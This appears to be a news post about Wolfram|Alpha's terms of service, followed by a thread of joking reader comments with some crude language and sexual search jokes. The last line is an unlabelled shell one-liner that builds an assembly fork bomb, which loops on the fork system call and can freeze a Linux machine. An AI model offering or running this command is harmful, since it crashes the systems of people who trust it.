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Wolfram|Alpha's Surprising Terms of Service
eldavojohn notes that Groklaw is highlighting the unexpected Wolfram|Alpha ToS — unexpected, that is, for those of us accustomed to Google's "just don't use it to break the law, please" terms. Nothing wrong with Wolfram setting any terms they like, of course. Just be aware. "We've seen people comparing Wolfram's Alpha to Google's Search from a technical standpoint but Groklaw outlined the legal differences in a post yesterday. Wolfram|Alpha's terms of use are completely different in that it is not a search engine; it's a computational service. The legalese says that they claim copyright on the each results page and require attribution. So for you academics out there, be careful. Groklaw notes this is interesting considering some of its results quote 2001: A Space Odyssey or Douglas Adams. Claiming copyright on that material may be a bold move. There's more: if you build a service that uses their service or deep-links to it, you may be facilitating your users to break their terms of use, and you may be held liable."
Wolfram Alpha doesn't just provide you with knowledge. It provides you with a new kind of knowledge. Any knowledge you gain from it must be attributed to Stephen Wolfram ... because he invented it. It is actually safer to attribute all citations to Stephen Wolfram, in fact, because he is smarter than you.
Breakfast served all day!
(c) Wolfram Alpha. From now on, I'm going to make sure that I attribute all failures to understand to Mr. Wolfram.
From scarped cliff or quarried stone she cries "A thousand types are gone, I care for nothing, no not one."
"Narrower terms: child pornography" Nice, Wolfram. Thanks.
Input:
4/0
Result:
infinity^~
Oh noes, I broke their terms of service.
I asked it "Who farted?" and got:
Wolfram|Alpha isn't sure what to do with your input.
Related inputs to try:
People: ted
Of course, the correct answer to this question would have been "He who smelt it, dealt it". I remain unimpressed.
I innocently entered "Secant Tangent Cosine Sine 3.14159" into WolframAlpha. The result, 74.69263, now belongs to Wolfram. Sorry about that.
One digit short of a palindrome.
Wolfram is located a few blocks from me in Champaign Illinois
Or just do what I did and "wolfram Alpha it"* (well, that doesn't quite have the same ring too it).
* © 2009 Wolfram Alpha LLCâ"A Wolfram Research Company
"The past was erased, the erasure was forgotten, the lie became truth." ~1984 George Orwell
Irony: Wikipedia calling your information service non-authoritative.
Welcome to the Panopticon. Used to be a prison, now it's your home.
"Then, a search for "Angelina Jolie nude" resulted in Wolfram|Alpha isn't sure what to do with your input. Hmmmmm."
Useless crap.
Fuck systemd. Fuck Redhat. Fuck Soylent, too. Wait, scratch the last one.
Come on man, you could at least feed it a useless and disgusting expression.
If you feed it "goatse" it says it doesn't know what to do with your input. That's a vast improvement over Google.
Don't forget to put ©Wolfram Alpha at the bottom of your exam.
Wolfram Alpha sucks anyways. Try looking for big tits on that site. Goes nowhere but the definition.
More importantly, it completely fails at this question: http://www26.wolframalpha.com/input/?i=historical+popularity+trends+of+shaved+genitalia+in+pornography
I was looking forward to the graph too :-\
RUGBYRUGBYRUGBY
I've been to <redacted>. Used to be a great town, but now...
"It does not do to leave a live dragon out of your calculations, if you live near him." - Tolkien
http://www.wolframalpha.com/input/?i=(sinc+(x)+*+sinc+(y))+
I'm sure you could do better if you had more time.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;